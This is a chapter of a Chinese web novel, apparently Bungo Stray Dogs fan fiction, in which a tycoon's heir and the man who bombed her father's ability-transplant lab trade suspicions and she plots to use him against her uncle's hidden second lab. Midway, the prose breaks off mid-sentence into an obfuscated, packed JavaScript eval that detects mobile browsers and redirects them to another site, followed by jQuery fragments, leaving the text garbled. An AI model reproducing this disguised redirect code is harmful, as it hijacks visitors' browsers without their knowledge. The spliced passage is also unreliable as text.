他不是来做学术研究的,他是来搞恐怖袭击的。
饭团先生貌似想要创造一个没有异能的世界,而我爹想凭空给人搞出异能,这简直是在饭团先生雷点上蹦迪。
以我对饭团先生的了解,仅仅只是活埋已经非常人性化了。
我的首富爹能动的钱大半都投到了实验室,作为第一个小白鼠,我眼看他起高楼,眼看他楼塌了。
不仅塌了房,还没了命。
饭团先生搞塌实验室后拍拍屁股走人了。
他的袭击事发突然,我首富爹死的猝不及防。
趁着家族里那些老家伙还没反应过来,大孝女我本人,买通了现场所有的幸存者,也买通了他的小老婆。
然后把我已经凉了的首富爹挖出来后擦一擦,丢在了他第四十二个小老婆的床上。
并且联合森先生,通过他的势力对外散布情色流言,力争把他的死往私生活不检点上甩锅,压下非法实验室的消息。
毕竟那老登一个人死就死了,留下那么多公司、股票、基金,不能都被他连累了。
否则股价一旦剧烈波动,现金流断裂集团入不敷出,再加上各方势力乘火打劫,破产清算可是说来就来。
过不了多久我就能上街收破烂还债了,真是想想都刺激。
我从废墟里爬出来,可不是为了接手废墟的。
所以说,就散布流言这件事,我是真的感谢森鸥外,没有阴阳怪气的意思。
虽然森鸥外一开始并不想来,毕竟他刚接手港口□□不久,没那么多闲工夫去管别人家的事。
但他还是被我打动了,不仅是因为我们独特的情分,还因为我送过去了两大箱金条。
当然,后者的作用更大一点。
而我趁着这番动荡,以我首富爹明面上唯一的继承人的身份,就此从暗无天日的实验室走到了人前,正式参与家族夺权,一步步走到了今天。
所以说,饭团先生不仅是个好心人,还是我的杀父……
恩人。
饭团先生将茶杯放在了桌子上,脸上带着笑,语气却冷得紧,
“人类总是贪婪的,位卑人微的想要独揽大权,富甲一方的想要驯服异能,无穷无尽,让人厌烦。”
他陷在了柔软的沙发里,细长的手指轻托着下颌,眼中闪着莫名的光,“你们啊,最贪得无厌的就是你们。”
“明明有了几辈子都花不完的财富,明明已经有了大部分人都梦寐以求的生活,可是你看,”
他抬手虚虚点了点自己的唇,“我只是提了些许移植异能的事,你们就迫不及待的将我请来了这堪称铁桶一块的老宅呢。”
他神色冰冷,“不管是过去……”
“还是现在。”
他牢牢盯着我,声音很轻,却尖锐地如同刺入心脏的冰锥,“谁能想到呢?如今的你们,又重启了实验室。”
我沉默了一下,抬眼看他,“你从哪里知道的呢?”
他没有正面回答,反而慢条斯理道,“若非重启了实验室,你这老宅里的人又怎么会这般重视能移植异能的人呢?我又怎么能这般容易就进了这里呢?”
我也不说话,只是自顾自地品茶。
他上下打量着我,沉默了一会儿突然话锋一转,“其实我早就想问了,当年递消息出来,引我来这里炸你父亲的实验室的人……是你吗?”
他虽是疑问,语气却笃定。
我弯了弯唇,反问他,“当时你就想问的话,怎么现在才来问我呢?”
我依旧在笑,语气不疾不徐,“是不是因为……没想到我能从被你炸的坍塌的这么严重的实验室里,活着出来呢?”
饭团先生点点头,“是的。”
他好干脆,我好伤心。
我垂泪,“我们不是最好的朋友吗?”
饭团先生:“……”
饭团先生:“别逼我用开水泼你。”
行叭,我收回说饭团先生还挺人性化这句话,这家伙聪明但极端,当年其实就是奔着斩草除根来的。
而我,正是那个“根”。
亏我小心隐忍猥琐发育,千辛万苦到处传递消息,好歹也算是他某种意义上的队友,而他毫不在意百无禁忌,用炸弹痛击他的队友。
我好,他坏。
饭团先生压根没有面对无辜受害者的愧疚,他目光沉沉,好像一条伺机而动的蛇,“你当年既然引了那么多人来毁实验室,怎么现在又要重启呢?”
我想说什么,他却先一步开口,“别说你不知道,总裁大人,如今这个家族里,怎么会有你不知道的事?”
我要张口解释,他却将食指放在唇上,“嘘,让我猜猜,你是钱多到没有追求就想挑战异能?还是地位不稳只能以异能为诱饵笼络人心?”
我再次想说话,他突然放轻了声音,眼中充满了冷意,看我好像在看尸体,“还是说……”
“屠龙者,终成龙?”
“龙个屁,”我翻了个白眼,“因为当初你炸的实验室只是其中一个,另一个在我二大爷手上,什么重启不重启,那个实验室一直好端端的,就没关过!”
空气死一般的安静。
饭团先生顿了一下,缓缓道:“没猜错的话,这应该是你们家族秘辛吧,就连我到现在都没有查出来,你为什么给我说这些?”
我又翻了个白眼,不说的话他觉得我是丧心病狂研究异能的疯子,说了的话他觉得我对他图谋不轨,他怎么这么难伺候。
不过我也确实对他图谋不轨,毕竟这年头工具人可不好找了。
我之所以能容忍老宅里这些人到现在,就是因为他们手上这个不明底细的实验室,但是我现在不想忍了。
出于某种原因我无法正面和他们抗衡,所以我需要有人变成我的刀。
我二大爷手上那个实验室一直是我的心腹大患,我当年争权上位仓促了些,没能找到那个实验室。
所以他在里面养了多少人,有多少本事,甚至连那个实验室在哪我都一概不知。
我虽然一时半会不能轻举妄动,但是我有什么?我有钱!不到万不得已我才不会自己上去和二大爷硬刚。
而现在饭团这个工具人自己找上门来了,他不愧是我的知心朋友,毫无交流就能凭感应再次找回来,感谢大自然的馈赠。
饭团先生能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385724|200234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
炸一个实验室就能炸两个,我正愁没人对付二大爷。
我立马掏出支票本对他说你开个价。
饭团先生看了看支票本,又看了看我,微笑,“五百亿美金,现金。”
我合上支票本,“你看我像不像五百亿美金。”
我是首富,不是怨种,更不是印钞机。
饭团先生笑了笑也没再提,我也没强求,但是有一件事心照不宣——他不会放任那个实验室。
他这次设法进入老宅本就是为打听情报来的,如今能说的我都已经告诉他了,接下来就看他怎么做了。
不过他要是出手,照样也不会放过我。
倒也不是因为和我有什么深仇大恨,他只是单纯想要我的命,斩草要除根,他明白的很。
当年我给他传消息他都没想着放我一马,要不是我是个有本事的人,我今年应该快要上小学了。
不过……当年他就没能杀了我,过了这么些年,我最好的老外朋友,谁杀谁还不一定呢。
他拿到了情报就准备走,我是个有礼貌的好人,即使知道我也在这人嘎嘎乱杀的范围内,也依旧起身稍送了他两步。
快到门口了,他突然转头问我,“其实你父亲成功了是吗?”
我一顿,若无其事地拉开门,“好走不送。”
他却不动,站在门口用他优越的身高堵着路,然后低头看我,
“我想了很久,做了很多模拟,可是没有任何一种能让一个普通人在实验室坍塌成那样的时候生还,可是你做到了,你告诉我,为什么?”
他眼中满是兴味,整个人散发着“我这么努力搞死你,但你竟然没死,我很好奇,赶紧告诉我,这样我下次一定能搞死你”的意味。
我沉默,饭团先生是有一点子变态在身上的。
不等我回答,他就自顾自道,“唯一的解释就是,你有我不知道的异能,不,应该说,你的父亲成功的在你身上造出了某种异能。”
他饶有兴致地看着我,“你父亲知道吗?我想他是不知道的,他或许还以为实验失败了,要不然也不会随意的将你关在实验室里。”
我依旧微笑,“是的,我和我父亲有着糟糕的亲子关系,谢谢关心,你真会聊天。”
他眼中的兴味越发浓重,“你的异能是什么?竟然能让你从爆炸里逃生?”
我:“……”
好没有边界感一饭团,非要打听别人隐私。
我摆摆手:“别管,总之很有用就是了。”
他盯着我,突然勾了勾唇,露出了个极愉悦的笑,
“你传信引人对付实验室,你又隐藏了自己的异能,那么当初你因为实验事故变成弱智的事情,是装的还是真的?总裁大人,你还有多少秘密呢?”
我保持微笑,“你知道我太爷爷是怎么活到103岁的吗?”
饭团先生想了想,“因为懂得扮猪吃老虎?”
我:“因为他从来不多管闲事。”
饭团先生脸上带笑,但却眼神冰冷,“你知道上一个这么和我说话的人如今是什么下场吗?”
我面不改色,“不知道,因为我不爱多管闲事。”